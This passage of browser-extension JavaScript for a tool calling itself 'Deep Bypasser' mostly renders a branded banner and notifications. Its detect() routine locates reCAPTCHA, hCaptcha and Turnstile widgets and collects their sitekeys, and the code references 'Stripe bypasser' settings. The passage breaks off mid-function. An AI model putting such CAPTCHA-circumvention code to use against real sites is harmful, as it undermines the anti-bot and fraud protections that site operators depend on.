          domObserver = new MutationObserver((mutationList, observer) => {
            if (document.body || document.documentElement) {
              observer.disconnect();
              if (domReadyTimer) {
                clearTimeout(domReadyTimer);
                domReadyTimer = null;
              }
              renderVersionBanner();
            }
          });
          domObserver.observe(document.documentElement, {
            childList: true,
            subtree: true
          });
          domReadyTimer = setTimeout(() => {
            if (domObserver) {
              domObserver.disconnect();
              domObserver = null;
            }
            if (document.body || document.documentElement) {
              renderVersionBanner();
            }
          }, 1000);
        } catch (error) {
          if (domObserver) {
            try {
              domObserver.disconnect();
            } catch (innerError) {
              console.warn("[Deep Bypasser] Operation failed", innerError.message);
            }
            domObserver = null;
          }
          if (domReadyTimer) {
            clearTimeout(domReadyTimer);
            domReadyTimer = null;
          }
          if (document.body || document.documentElement) {
            renderVersionBanner();
          }
        }
      }
    }
    function renderVersionBanner() {
      try {
        if (document.getElementById("deep-bypasser-version-banner")) {
          isBannerCreating = false;
          return;
        }
        const divElement = document.createElement("div");
        divElement.id = "deep-bypasser-version-banner";
        divElement.title = "Click to open Deep Bypasser settings";
        divElement.setAttribute("role", "button");
        divElement.setAttribute(
          "aria-label",
          "Deep Bypasser version banner - Click to open settings"
        );
        const isInnerWidth = window.innerWidth <= 768;
        const positionInfo = {
          position: "fixed",
          top: "0px",
          left: "0px",
          zIndex: "2147483647",
          background:
            "linear-gradient(90deg, rgba(245, 245, 245, 0.95) 0%, rgba(245, 245, 245, 0.95) 50%, rgba(20, 20, 20, 0.98) 55%, rgba(10, 10, 10, 0.98) 100%)",
          backdropFilter: isInnerWidth ? "blur(8px)" : "blur(10px)",
          WebkitBackdropFilter: isInnerWidth ? "blur(8px)" : "blur(10px)",
          padding: isInnerWidth ? "2px 4px" : "5px 12px",
          fontFamily: '"GodOfWar", "Arial Black", "Helvetica Neue", Arial, sans-serif',
          fontSize: isInnerWidth ? "9px" : "22px",
          fontWeight: "900",
          borderRadius: isInnerWidth ? "0 0 3px 0" : "0 0 6px 0",
          boxShadow: "0 2px 8px rgba(0, 0, 0, 0.4), inset 0 0 20px rgba(220, 38, 38, 0.1)",
          display: "flex",
          alignItems: "center",
          gap: isInnerWidth ? "2px" : "4px",
          pointerEvents: "auto",
          userSelect: "none",
          transition: versionBannerPerfSettings.reduceAnimations
            ? "none"
            : "all 0.3s cubic-bezier(0.4, 0, 0.2, 1)",
          opacity: "1",
          cursor: "pointer",
          border: "none",
          width: "fit-content",
          minWidth: isInnerWidth ? "90px" : "220px",
          whiteSpace: "nowrap",
          overflow: "hidden",
          transform: versionBannerPerfSettings.hardwareAcceleration ? "translateZ(0)" : "none",
          willChange: versionBannerPerfSettings.hardwareAcceleration
            ? "transform, opacity"
            : "auto",
          backfaceVisibility: versionBannerPerfSettings.hardwareAcceleration ? "hidden" : "visible",
          WebkitFontSmoothing: "antialiased",
          MozOsxFontSmoothing: "grayscale"
        };
        Object.assign(divElement.style, positionInfo);
        if (!document.getElementById("deep-bypasser-banner-styles")) {
          const styleElement = document.createElement("style");
          styleElement.id = "deep-bypasser-banner-styles";
          let resolvedUrl = "";
          resolvedUrl =
            typeof chrome !== "undefined" && chrome.runtime && chrome.runtime.getURL
              ? chrome.runtime.getURL("assets/fonts/deepbypasser.TTF")
              : "../assets/fonts/deepbypasser.TTF";
          if (typeof chrome !== "undefined" && chrome.runtime && chrome.runtime.getURL) {
            fetch(resolvedUrl)
              .then(fontResponse => {
                if (!fontResponse.ok) {
                  throw new Error("Font fetch failed: " + fontResponse.status);
                }
                return fontResponse.blob();
              })
              .then(
                fontBlob =>
                  new Promise((resolve, onerror) => {
                    const fileReader = new FileReader();
                    fileReader.onloadend = () => resolve(fileReader.result);
                    fileReader.onerror = onerror;
                    fileReader.readAsDataURL(fontBlob);
                  })
              )
              .then(fontDataUrl => {
                styleElement.textContent =
                  "\n                @font-face {\n                  font-family: 'GodOfWar';\n                  src: url('" +
                  fontDataUrl +
                  "') format('truetype');\n                  font-weight: normal;\n                  font-style: normal;\n                  font-display: swap;\n                }\n                #deep-bypasser-version-banner,\n                #deep-bypasser-version-banner * {\n                  font-family: 'GodOfWar', 'Arial Black', 'Helvetica Neue', Arial, sans-serif !important;\n                }\n                " +
                  "\n          #deep-bypasser-version-banner::after {\n            content: '';\n            position: absolute;\n            top: 0;\n            right: 0;\n            width: 60%;\n            height: 100%;\n            background: \n              radial-gradient(circle at 70% 50%, rgba(220, 38, 38, 0.8) 0%, rgba(220, 38, 38, 0.4) 15%, transparent 30%),\n              radial-gradient(ellipse at 80% 30%, rgba(220, 38, 38, 0.3) 0%, transparent 40%),\n              radial-gradient(ellipse at 90% 70%, rgba(220, 38, 38, 0.2) 0%, transparent 35%),\n              linear-gradient(135deg, rgba(20, 20, 20, 0.98) 0%, rgba(10, 10, 10, 0.98) 100%);\n            z-index: 0;\n            pointer-events: none;\n          }\n          #deep-bypasser-version-banner .banner-red-circle {\n            position: absolute;\n            right: 25px;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 30px;\n            height: 30px;\n            background: radial-gradient(circle, rgba(220, 38, 38, 1) 0%, rgba(200, 20, 20, 0.9) 60%, rgba(180, 10, 10, 0.6) 80%, transparent 100%);\n            border-radius: 50%;\n            z-index: 0;\n            pointer-events: none;\n            box-shadow: \n              0 0 15px rgba(220, 38, 38, 0.8),\n              0 0 30px rgba(220, 38, 38, 0.4),\n              inset 0 0 10px rgba(255, 50, 50, 0.3);\n          }" +
                  "\n              ";
              })
              .catch(() => {
                styleElement.textContent =
                  "/* Custom font failed to load */\n\n          #deep-bypasser-version-banner,\n          #deep-bypasser-version-banner * {\n            font-family: 'Arial Black', 'Helvetica Neue', Arial, sans-serif !important;\n            font-weight: 900 !important;\n            letter-spacing: 0.5px !important;\n          }\n\n          #deep-bypasser-version-banner::after {\n            content: '';\n            position: absolute;\n            top: 0;\n            right: 0;\n            width: 60%;\n            height: 100%;\n            background: \n              radial-gradient(circle at 70% 50%, rgba(220, 38, 38, 0.8) 0%, rgba(220, 38, 38, 0.4) 15%, transparent 30%),\n              radial-gradient(ellipse at 80% 30%, rgba(220, 38, 38, 0.3) 0%, transparent 40%),\n              radial-gradient(ellipse at 90% 70%, rgba(220, 38, 38, 0.2) 0%, transparent 35%),\n              linear-gradient(135deg, rgba(20, 20, 20, 0.98) 0%, rgba(10, 10, 10, 0.98) 100%);\n            z-index: 0;\n            pointer-events: none;\n          }\n          #deep-bypasser-version-banner .banner-red-circle {\n            position: absolute;\n            right: 25px;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 30px;\n            height: 30px;\n            background: radial-gradient(circle, rgba(220, 38, 38, 1) 0%, rgba(200, 20, 20, 0.9) 60%, rgba(180, 10, 10, 0.6) 80%, transparent 100%);\n            border-radius: 50%;\n            z-index: 0;\n            pointer-events: none;\n            box-shadow: \n              0 0 15px rgba(220, 38, 38, 0.8),\n              0 0 30px rgba(220, 38, 38, 0.4),\n              inset 0 0 10px rgba(255, 50, 50, 0.3);\n          }";
              });
          } else {
            styleElement.textContent =
              "/* Non-extension context */\n\n          #deep-bypasser-version-banner,\n          #deep-bypasser-version-banner * {\n            font-family: 'Arial Black', 'Helvetica Neue', Arial, sans-serif !important;\n            font-weight: 900 !important;\n            letter-spacing: 0.5px !important;\n          }\n\n          #deep-bypasser-version-banner::after {\n            content: '';\n            position: absolute;\n            top: 0;\n            right: 0;\n            width: 60%;\n            height: 100%;\n            background: \n              radial-gradient(circle at 70% 50%, rgba(220, 38, 38, 0.8) 0%, rgba(220, 38, 38, 0.4) 15%, transparent 30%),\n              radial-gradient(ellipse at 80% 30%, rgba(220, 38, 38, 0.3) 0%, transparent 40%),\n              radial-gradient(ellipse at 90% 70%, rgba(220, 38, 38, 0.2) 0%, transparent 35%),\n              linear-gradient(135deg, rgba(20, 20, 20, 0.98) 0%, rgba(10, 10, 10, 0.98) 100%);\n            z-index: 0;\n            pointer-events: none;\n          }\n          #deep-bypasser-version-banner .banner-red-circle {\n            position: absolute;\n            right: 25px;\n            top: 50%;\n            transform: translateY(-50%);\n            width: 30px;\n            height: 30px;\n            background: radial-gradient(circle, rgba(220, 38, 38, 1) 0%, rgba(200, 20, 20, 0.9) 60%, rgba(180, 10, 10, 0.6) 80%, transparent 100%);\n            border-radius: 50%;\n            z-index: 0;\n            pointer-events: none;\n            box-shadow: \n              0 0 15px rgba(220, 38, 38, 0.8),\n              0 0 30px rgba(220, 38, 38, 0.4),\n              inset 0 0 10px rgba(255, 50, 50, 0.3);\n          }";
          }
          document.head.appendChild(styleElement);
        }
        const redCircleElement = document.createElement("div");
        redCircleElement.className = "banner-red-circle";
        divElement.appendChild(redCircleElement);
        const bannerIllustration = document.createElement("div");
        bannerIllustration.style.cssText =
          "\n        position: absolute;\n        right: 8px;\n        top: 50%;\n        transform: translateY(-50%);\n        width: 46px;\n        height: 46px;\n        z-index: 2;\n        pointer-events: none;\n        filter:\n          drop-shadow(0 0 4px rgba(177,18,18,0.6))\n          drop-shadow(2px 2px 4px rgba(0,0,0,0.9));\n        opacity: 0.95;\n      ";
        bannerIllustration.innerHTML =
          '\n<svg viewBox="0 0 120 160" width="100%" height="100%" xmlns="http://www.w3.org/2000/svg">\n  <!-- Head -->\n  <path d="\n    M60 10\n    C44 10 34 22 34 38\n    C34 52 46 62 60 62\n    C74 62 86 52 86 38\n    C86 22 76 10 60 10\n    Z\n  " fill="#050505"/>\n\n  <!-- Torso -->\n  <path d="\n    M34 60\n    C30 78 26 96 24 118\n    C22 136 36 150 60 150\n    C84 150 98 136 96 118\n    C94 96 90 78 86 60\n    C78 66 42 66 34 60\n    Z\n  " fill="#050505"/>\n\n  <!-- Left Shoulder -->\n  <path d="\n    M34 62\n    C20 68 12 78 10 90\n    C8 98 18 104 26 98\n    L34 90\n    Z\n  " fill="#050505"/>\n\n  <!-- Right Shoulder -->\n  <path d="\n    M86 62\n    C100 68 108 78 110 90\n    C112 98 102 104 94 98\n    L86 90\n    Z\n  " fill="#050505"/>\n\n  <!-- Blood edge highlight -->\n  <path d="\n    M60 10\n    C44 10 34 22 34 38\n    C34 52 46 62 60 62\n  " fill="none"\n     stroke="rgba(177,18,18,0.35)"\n     stroke-width="2"/>\n</svg>\n';
        divElement.appendChild(bannerIllustration);
        const bannerTextRow = document.createElement("div");
        bannerTextRow.style.cssText =
          "\n        display: flex;\n        align-items: baseline;\n        gap: 4px;\n        position: relative;\n        z-index: 2;\n        margin-left: 5px;\n      ";
        const spanElement = document.createElement("span");
        spanElement.textContent = "DEEP";
        spanElement.style.cssText =
          "\n        color: #000000;\n        letter-spacing: " +
          (isInnerWidth ? "0.5px" : "1.5px") +
          ";\n        font-weight: 900;\n        text-transform: uppercase;\n        text-shadow: \n          0 0 3px rgba(220, 38, 38, 0.4),\n          0 0 6px rgba(220, 38, 38, 0.2),\n          1px 1px 2px rgba(0, 0, 0, 0.3),\n          0 1px 3px rgba(0, 0, 0, 0.5);\n        position: relative;\n        font-size: inherit;\n      ";
        const accentSparkTopLeft = document.createElement("span");
        accentSparkTopLeft.style.cssText =
          "\n        position: absolute;\n        top: -2px;\n        left: -3px;\n        width: 4px;\n        height: 4px;\n        background: radial-gradient(circle, rgba(220, 38, 38, 0.9) 0%, rgba(220, 38, 38, 0.5) 50%, transparent 100%);\n        border-radius: 50%;\n        pointer-events: none;\n      ";
        spanElement.appendChild(accentSparkTopLeft);
        const badgeGlowDot = document.createElement("span");
        badgeGlowDot.style.cssText =
          "\n        position: absolute;\n        bottom: -1px;\n        right: -2px;\n        width: 3px;\n        height: 3px;\n        background: radial-gradient(circle, rgba(220, 38, 38, 0.8) 0%, rgba(220, 38, 38, 0.4) 50%, transparent 100%);\n        border-radius: 50%;\n        pointer-events: none;\n      ";
        spanElement.appendChild(badgeGlowDot);
        const badgeLabel = document.createElement("span");
        badgeLabel.textContent = "BYPASSER";
        badgeLabel.style.cssText =
          "\n        color: #ffffff;\n        letter-spacing: " +
          (isInnerWidth ? "0.5px" : "1.5px") +
          ";\n        font-weight: 900;\n        text-transform: uppercase;\n        text-shadow: \n          0 0 6px rgba(220, 38, 38, 0.9),\n          0 0 12px rgba(220, 38, 38, 0.8),\n          0 0 18px rgba(220, 38, 38, 0.7),\n          0 0 24px rgba(200, 20, 20, 0.6),\n          0 0 30px rgba(180, 10, 10, 0.5),\n          2px 2px 4px rgba(0, 0, 0, 0.9),\n          -1px -1px 3px rgba(0, 0, 0, 0.8),\n          0 2px 8px rgba(0, 0, 0, 0.8),\n          0 1px 3px rgba(0, 0, 0, 0.9);\n        position: relative;\n        filter: drop-shadow(0 0 4px rgba(220, 38, 38, 0.8)) drop-shadow(0 0 8px rgba(200, 20, 20, 0.6)) drop-shadow(0 0 12px rgba(180, 10, 10, 0.4));\n        font-size: inherit;\n      ";
        const labelSparkTopLeft = document.createElement("span");
        labelSparkTopLeft.style.cssText =
          "\n        position: absolute;\n        top: -2px;\n        left: -3px;\n        width: 5px;\n        height: 5px;\n        background: radial-gradient(circle, rgba(220, 38, 38, 1) 0%, rgba(220, 38, 38, 0.6) 50%, transparent 100%);\n        border-radius: 50%;\n        pointer-events: none;\n      ";
        badgeLabel.appendChild(labelSparkTopLeft);
        const labelSparkBottomRight = document.createElement("span");
        labelSparkBottomRight.style.cssText =
          "\n        position: absolute;\n        bottom: -1px;\n        right: -3px;\n        width: 4px;\n        height: 4px;\n        background: radial-gradient(circle, rgba(220, 38, 38, 0.9) 0%, rgba(220, 38, 38, 0.5) 50%, transparent 100%);\n        border-radius: 50%;\n        pointer-events: none;\n      ";
        badgeLabel.appendChild(labelSparkBottomRight);
        const labelSparkRight = document.createElement("span");
        labelSparkRight.style.cssText =
          "\n        position: absolute;\n        top: 50%;\n        right: -2px;\n        width: 3px;\n        height: 3px;\n        background: radial-gradient(circle, rgba(220, 38, 38, 0.8) 0%, rgba(220, 38, 38, 0.4) 50%, transparent 100%);\n        border-radius: 50%;\n        pointer-events: none;\n      ";
        badgeLabel.appendChild(labelSparkRight);
        const versionTextElement = document.createElement("span");
        versionTextElement.textContent = "v" + versionString;
        versionTextElement.style.cssText =
          "\n        color: #ffffff;\n        font-size: " +
          (isInnerWidth ? "7px" : "14px") +
          ";\n        font-weight: 700;\n        letter-spacing: 0.3px;\n        margin-left: 4px;\n        text-shadow: \n          0 1px 2px rgba(0, 0, 0, 0.8),\n          0 0 4px rgba(0, 0, 0, 0.5);\n        position: relative;\n        top: -3px;\n        align-self: flex-start;\n      ";
        bannerTextRow.appendChild(spanElement);
        bannerTextRow.appendChild(badgeLabel);
        bannerTextRow.appendChild(versionTextElement);
        divElement.appendChild(bannerTextRow);
        divElement.addEventListener("mouseenter", () => {
          if (!isInnerWidth && !versionBannerPerfSettings.reduceAnimations) {
            divElement.style.opacity = "1";
            divElement.style.boxShadow =
              "0 2px 8px rgba(0, 0, 0, 0.4), 0 1px 4px rgba(220, 38, 38, 0.3), inset 0 1px 0 rgba(255, 255, 255, 0.15)";
            const transform = versionBannerPerfSettings.hardwareAcceleration
              ? "translateZ(0) translateY(-1px) scale(1.02)"
              : "translateY(-1px) scale(1.02)";
            divElement.style.transform = transform;
          }
        });
        divElement.addEventListener("mouseleave", () => {
          if (!isInnerWidth && !versionBannerPerfSettings.reduceAnimations) {
            divElement.style.opacity = "1";
            divElement.style.boxShadow =
              "0 1px 6px rgba(0, 0, 0, 0.3), 0 1px 2px rgba(220, 38, 38, 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.1)";
            const transform = versionBannerPerfSettings.hardwareAcceleration
              ? "translateZ(0) translateY(0) scale(1)"
              : "none";
            divElement.style.transform = transform;
          }
        });
        divElement.addEventListener("click", () => {
          try {
            if (typeof chrome !== "undefined" && chrome.runtime && chrome.runtime.openOptionsPage) {
              chrome.runtime.openOptionsPage();
            } else {
              window.postMessage(
                {
                  type: "DEEP_BYPASSER_OPEN_OPTIONS"
                },
                "*"
              );
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        });
        const hasElement = document.body || document.documentElement;
        if (hasElement) {
          hasElement.appendChild(divElement);
          isBannerCreating = false;
        } else {
          const domObserver = new MutationObserver((mutationList, observer) => {
            const bannerHostElement = document.body || document.documentElement;
            if (bannerHostElement && !document.getElementById("deep-bypasser-version-banner")) {
              bannerHostElement.appendChild(divElement);
              isBannerCreating = false;
              observer.disconnect();
            }
          });
          domObserver.observe(document.documentElement, {
            childList: true,
            subtree: false
          });
          setTimeout(() => {
            domObserver.disconnect();
            const bannerHostElement = document.body || document.documentElement;
            if (bannerHostElement && !document.getElementById("deep-bypasser-version-banner")) {
              bannerHostElement.appendChild(divElement);
            }
            isBannerCreating = false;
          }, 2000);
        }
      } catch (error) {
        isBannerCreating = false;
      }
    }
  }
  if (typeof window !== "undefined") {
    window.addEventListener("message", event => {
      if (
        event.data &&
        event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS" &&
        event.data.settings
      ) {
        window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ = event.data.settings;
        syncVersionBannerSettings();
        document.getElementById("deep-bypasser-version-banner");
      }
    });
  }
  if (typeof window !== "undefined") {
    (() => {
      function ensureVersionBannerVisible() {
        if (!document.getElementById("deep-bypasser-version-banner") && !isBannerCreating) {
          try {
            createDeepBypasserVersionBanner(DEEP_BYPASSER_BANNER_VERSION);
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        }
      }
      if (
        typeof document !== "undefined" &&
        typeof window !== "undefined" &&
        window.top === window.self
      ) {
        if (!document.getElementById("deep-bypasser-version-banner") && !isBannerCreating) {
          if (document.readyState === "loading") {
            document.addEventListener(
              "DOMContentLoaded",
              () => {
                setTimeout(ensureVersionBannerVisible, 300);
              },
              {
                once: true
              }
            );
          } else {
            setTimeout(ensureVersionBannerVisible, 300);
          }
          window.addEventListener(
            "load",
            () => {
              setTimeout(ensureVersionBannerVisible, 200);
            },
            {
              once: true
            }
          );
        }
      }
    })();
    window.addEventListener("message", event => {
      if (event.data && event.data.type === "STRIPE_BYPASSER_SETTINGS") {
        const isSettingsEnabled = event.data.settings && event.data.settings.enabled !== false;
        const matchingElement = document.getElementById("deep-bypasser-version-banner");
        if (isSettingsEnabled) {
          if (!matchingElement && !isBannerCreating) {
            setTimeout(() => createDeepBypasserVersionBanner(DEEP_BYPASSER_BANNER_VERSION), 100);
          }
        } else if (matchingElement) {
          matchingElement.remove();
          isBannerCreating = false;
        }
      }
    });
  }
  if (typeof window !== "undefined") {
    window.createDeepBypasserVersionBanner = createDeepBypasserVersionBanner;
  }
  const notificationDedupeCache = new Map();
  function show(title, textValue = "success") {
    const notificationCacheKey = title + "_" + textValue;
    const now = Date.now();
    const lastNotificationAt = notificationDedupeCache.get(notificationCacheKey);
    if (lastNotificationAt && now - lastNotificationAt < 2000) {
      return;
    }
    notificationDedupeCache.set(notificationCacheKey, now);
    if (notificationDedupeCache.size > 50) {
      for (const [staleNotificationKey, shownAt] of notificationDedupeCache.entries()) {
        if (now - shownAt > 10000) {
          notificationDedupeCache.delete(staleNotificationKey);
        }
      }
    }
    const matchingElement = document.getElementById("deep-bypasser-notification");
    if (matchingElement) {
      matchingElement.remove();
    }
    const divElement = document.createElement("div");
    divElement.id = "deep-bypasser-notification";
    divElement.setAttribute("role", "alert");
    divElement.setAttribute("aria-live", "polite");
    const notificationThemes = {
      success: {
        bg: "rgba(16, 185, 129, 0.95)",
        icon: "✓"
      },
      error: {
        bg: "rgba(239, 68, 68, 0.95)",
        icon: "✕"
      },
      info: {
        bg: "rgba(59, 130, 246, 0.95)",
        icon: "ℹ"
      }
    };
    const notificationTheme = notificationThemes[textValue] || notificationThemes.success;
    const shouldReduceMotion = shouldReduceAnimations();
    const shouldUseHardware = shouldUseHardwareAcceleration();
    let notificationStyleElement = document.getElementById("deep-bypasser-notification-styles");
    if (!notificationStyleElement) {
      notificationStyleElement = document.createElement("style");
      notificationStyleElement.id = "deep-bypasser-notification-styles";
      notificationStyleElement.textContent =
        "\n      " +
        (shouldReduceMotion
          ? ""
          : "\n      @keyframes deepBypasserSlideInRight {\n        from {\n          opacity: 0;\n          transform: translateX(20px);\n        }\n        to {\n          opacity: 1;\n          transform: translateX(0);\n        }\n      }\n      @keyframes deepBypasserSlideOutRight {\n        from {\n          opacity: 1;\n          transform: translateX(0);\n        }\n        to {\n          opacity: 0;\n          transform: translateX(20px);\n        }\n      }\n      ") +
        "\n      #deep-bypasser-notification {\n        position: fixed !important;\n        top: 20px !important;\n        right: 20px !important;\n        z-index: 999999 !important;\n        display: flex !important;\n        align-items: center !important;\n        gap: 12px !important;\n        padding: 12px 16px !important;\n        border-radius: 10px !important;\n        font-size: 13px !important;\n        font-weight: 500 !important;\n        color: white !important;\n        box-shadow: 0 4px 16px rgba(0, 0, 0, 0.3), 0 2px 8px rgba(0, 0, 0, 0.2) !important;\n        pointer-events: none !important;\n        font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif !important;\n        backdrop-filter: blur(20px) !important;\n        border: 1px solid rgba(255, 255, 255, 0.1) !important;\n        opacity: 0 !important;\n        transform: translateX(20px) !important;\n        " +
        (shouldReduceMotion
          ? ""
          : "transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1) !important;") +
        "\n        box-sizing: border-box !important;\n        " +
        (shouldUseHardware ? "transform: translateZ(0) translateX(20px) !important;" : "") +
        "\n        " +
        (shouldUseHardware ? "will-change: transform, opacity !important;" : "") +
        "\n        " +
        (shouldUseHardware ? "backface-visibility: hidden !important;" : "") +
        "\n      }\n      #deep-bypasser-notification.show {\n        opacity: 1 !important;\n        transform: " +
        (shouldUseHardware ? "translateZ(0) translateX(0)" : "translateX(0)") +
        " !important;\n      }\n      #deep-bypasser-notification .notification-icon {\n        width: 20px !important;\n        height: 20px !important;\n        min-width: 20px !important;\n        min-height: 20px !important;\n        border-radius: 50% !important;\n        background: rgba(255, 255, 255, 0.2) !important;\n        display: flex !important;\n        align-items: center !important;\n        justify-content: center !important;\n        font-size: 12px !important;\n        font-weight: 700 !important;\n        line-height: 1 !important;\n        flex-shrink: 0 !important;\n      }\n      #deep-bypasser-notification .notification-text {\n        white-space: nowrap !important;\n        letter-spacing: 0.2px !important;\n      }\n    ";
      document.head.appendChild(notificationStyleElement);
    }
    divElement.style.setProperty("background", notificationTheme.bg, "important");
    divElement.style.setProperty("background-color", notificationTheme.bg, "important");
    if (shouldUseHardware) {
      applyHardwareAcceleration(divElement);
    }
    divElement.innerHTML =
      '\n    <span class="notification-icon">' +
      notificationTheme.icon +
      '</span>\n    <span class="notification-text">' +
      title +
      "</span>\n  ";
    document.body.appendChild(divElement);
    const showAnimationDelayMs = getAnimationDuration(10);
    const hideAnimationDurationMs = getAnimationDuration(300);
    if (shouldReduceMotion) {
      divElement.style.opacity = "1";
      divElement.style.transform = shouldUseHardware
        ? "translateZ(0) translateX(0)"
        : "translateX(0)";
    } else {
      setTimeout(() => {
        divElement.classList.add("show");
      }, showAnimationDelayMs);
    }
    setTimeout(() => {
      if (shouldReduceMotion) {
        if (divElement.parentNode) {
          divElement.remove();
        }
      } else {
        divElement.classList.remove("show");
        setTimeout(() => {
          if (divElement.parentNode) {
            divElement.remove();
          }
        }, hideAnimationDurationMs);
      }
    }, 3000);
  }
  window.addEventListener("message", event => {
    if (!event.data || event.data.type !== "DEEP_BYPASSER_SHOW_NOTIFICATION") {
      return;
    }
    const { text, type } = event.data;
    if (text) {
      show(text, type || "success");
    }
  });
  if (typeof window !== "undefined") {
    window.DeepBypasserNotification = {
      show
    };
  }
  const types = {
    RECAPTCHA_V2: "recaptcha_v2",
    RECAPTCHA_V3: "recaptcha_v3",
    HCAPTCHA: "hcaptcha",
    TURNSTILE: "turnstile",
    FUNCAPTCHA: "funcaptcha"
  };
  function detect() {
    const binList = [];
    if (typeof document === "undefined") {
      return binList;
    }
    document
      .querySelectorAll('.g-recaptcha, [data-sitekey], iframe[src*="recaptcha"]')
      .forEach(captchaElement => {
        const sitekey =
          captchaElement.getAttribute("data-sitekey") ||
          captchaElement.querySelector("[data-sitekey]")?.getAttribute("data-sitekey") ||
          extractCaptchaSitekeyFromUrl(captchaElement);
        if (sitekey) {
          binList.push({
            type: "recaptcha_v2",
            sitekey,
            element: captchaElement,
            widgetId:
              typeof window !== "undefined" && window.grecaptcha?.render
                ? window.grecaptcha.render(captchaElement)
                : null
          });
        }
      });
    if (typeof window !== "undefined" && window.grecaptcha && window.grecaptcha.execute) {
      Array.from(document.querySelectorAll('script[src*="recaptcha"]')).forEach(scriptElement => {
        const sitekey = (scriptUrl => {
          try {
            const match = scriptUrl.match(/[?&]render=([^&]+)/);
            if (match) {
              return decodeURIComponent(match[1]);
            }
            return null;
          } catch (error) {
            return null;
          }
        })(scriptElement.src);
        if (sitekey) {
          binList.push({
            type: "recaptcha_v3",
            sitekey,
            element: scriptElement
          });
        }
      });
    }
    const hcaptchaElementSet = new Set();
    [
      ".h-captcha",
      '[data-sitekey][class*="hcaptcha"]',
      '[data-sitekey][id*="hcaptcha"]',
      'iframe[src*="hcaptcha.com"]',
      'iframe[src*="js.hcaptcha.com"]',
      'iframe[src*="hcaptcha.com/challenge"]',
      '[id*="hcaptcha"]',
      '[class*="hcaptcha"]',
      '[class*="hcaptcha-container"]',
      '[class*="hcaptcha-popup"]',
      '[class*="hcaptcha-modal"]',
      '[class*="hcaptcha-challenge"]',
      '[id*="hcaptcha-container"]',
      '[id*="hcaptcha-popup"]',
      '[id*="hcaptcha-modal"]',
      '[id*="hcaptcha-challenge"]',
      '[class*="modal"][class*="captcha"]',
      '[id*="modal"][id*="captcha"]',
      '*[aria-label*="hcaptcha" i]',
      '*[title*="hcaptcha" i]'
    ].forEach(item => {
      try {
        document
          .querySelectorAll(item)
          .forEach(matchedElement => hcaptchaElementSet.add(matchedElement));
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    });
    try {
      document.querySelectorAll("iframe").forEach(item => {
        const isSrcAttribute = item.src || item.getAttribute("src") || "";
        if (isSrcAttribute.includes("hcaptcha.com") || isSrcAttribute.includes("js.hcaptcha.com")) {
          hcaptchaElementSet.add(item);
          if (item.parentElement) {
            hcaptchaElementSet.add(item.parentElement);
          }
        }
      });
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    hcaptchaElementSet.forEach(hcaptchaElement => {
      const sitekey =
        hcaptchaElement.getAttribute("data-sitekey") ||
        hcaptchaElement.querySelector("[data-sitekey]")?.getAttribute("data-sitekey") ||
        extractCaptchaSitekeyFromUrl(hcaptchaElement);
      if (
        sitekey &&
        !binList.find(
          captchaInfo => captchaInfo.sitekey === sitekey && captchaInfo.type === "hcaptcha"
        )
      ) {
        let widgetId = null;
        try {
          const hcaptchaWidgetId =
            hcaptchaElement.getAttribute("data-hcaptcha-widget-id") ||
            hcaptchaElement.id?.replace("hcaptcha-widget-", "");
          if (hcaptchaWidgetId) {
            widgetId = hcaptchaWidgetId;
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        const typeInfo = {
          type: "hcaptcha",
          sitekey,
          element: hcaptchaElement,
          widgetId
        };
        binList.push(typeInfo);
      }
    });
    const turnstileElementSet = new Set();
    [
      ".cf-turnstile",
      '[data-sitekey][class*="turnstile"]',
      '[data-sitekey][id*="turnstile"]',
      'iframe[src*="challenges.cloudflare.com"]',
      'iframe[src*="cloudflare.com/cdn-cgi/challenge-platform"]',
      'iframe[src*="turnstile.cloudflareresolve.com"]',
      'iframe[src*="challenges.cloudflare.com/cdn-cgi/challenge-platform"]',
      '[id*="cf-turnstile"]',
      '[class*="cf-turnstile"]',
      '[class*="turnstile"]',
      "[data-sitekey]",
      '[data-callback*="turnstile" i]'
    ].forEach(item => {
      try {
        document.querySelectorAll(item).forEach(matchedElement => {
          const elementSrc = matchedElement.src || matchedElement.getAttribute("src") || "";
          const normalizedText = (matchedElement.className || "").toString().toLowerCase();
          const elementIdText = (matchedElement.id || "").toString().toLowerCase();
          const elementMarkup = String(matchedElement.outerHTML || "");
          if (
            elementSrc.includes("cloudflare") ||
            elementSrc.includes("turnstile") ||
            normalizedText.includes("turnstile") ||
            elementIdText.includes("turnstile") ||
            elementMarkup.includes("turnstile")
          ) {
            turnstileElementSet.add(matchedElement);
          }
        });
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    });
    try {
      document.querySelectorAll("iframe").forEach(item => {
        const isSrcAttribute = item.src || item.getAttribute("src") || "";
        if (
          isSrcAttribute.includes("challenges.cloudflare.com") ||
          isSrcAttribute.includes("turnstile") ||
          isSrcAttribute.includes("cloudflare.com/cdn-cgi/challenge-platform")
        ) {
          turnstileElementSet.add(item);
          if (item.parentElement) {
            turnstileElementSet.add(item.parentElement);
          }
        }
      });
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    turnstileElementSet.forEach(turnstileElement => {
      const turnstileSitekey =
        turnstileElement.getAttribute("data-sitekey") ||
        turnstileElement.querySelector("[data-sitekey]")?.getAttribute("data-sitekey") ||
        extractCaptchaSitekeyFromUrl(turnstileElement);
      const hasTurnstileMarker =
        !turnstileSitekey &&
        (turnstileElement.classList?.contains("cf-turnstile") ||
          turnstileElement.id?.includes("cf-turnstile") ||
          (turnstileElement.src && turnstileElement.src.includes("cloudflare")));
      if (
        (turnstileSitekey || hasTurnstileMarker) &&
        !binList.find(
          captchaInfo =>
            captchaInfo.element === turnstileElement && captchaInfo.type === "turnstile"
        )
      ) {
        let widgetId = null;
        if (typeof window !== "undefined" && window.turnstile) {
          try {
            const turnstileWidgetId =
              turnstileElement.getAttribute("data-widget-id") ||
              turnstileElement.id?.replace("cf-turnstile-", "");
            if (turnstileWidgetId) {
